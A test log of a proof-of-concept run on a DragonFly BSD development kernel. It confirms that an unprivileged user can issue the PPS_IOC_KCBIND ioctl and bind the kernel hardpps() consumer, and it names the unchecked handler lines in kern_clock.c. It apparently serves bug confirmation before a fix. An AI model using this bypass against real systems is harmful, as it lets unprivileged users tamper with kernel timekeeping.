=== PPS_SYNC kernel #1 (NO FIX) - privilege-drop KCBIND test ===
Kernel: DragonFly 6.5-DEVELOPMENT #1: Sun Jul 12 17:48:30 UTC 2026
       (X86_64_GENERIC + options PPS_SYNC, no privilege-check fix)
PoC:    kcbind_drop /dev/ttyd0  (root opens, drops to uid=1001, issues PPS_IOC_KCBIND)

$ ./kcbind_drop /dev/ttyd0
setgroups: Operation not permitted        <-- expected (non-fatal: setgroups after uid drop)
[*] now running as uid=1001 euid=1001 gid=1001
[+] KCBIND succeeded under uid=1001 (privilege bypass) on /dev/ttyd0
[+] hardpps() consumer bound with NO privilege check;
    pps->kcmode = PPS_CAPTUREASSERT.
rc=0

RESULT: BUG CONFIRMED. An unprivileged credential (uid=1001, not in wheel)
can execute PPS_IOC_KCBIND and bind the kernel hardpps() consumer. The ioctl
handler at kern_clock.c:1680-1694 has NO caps_priv_check_self() - only the
long-standing "XXX Only root should be able to do this" comment (:1683).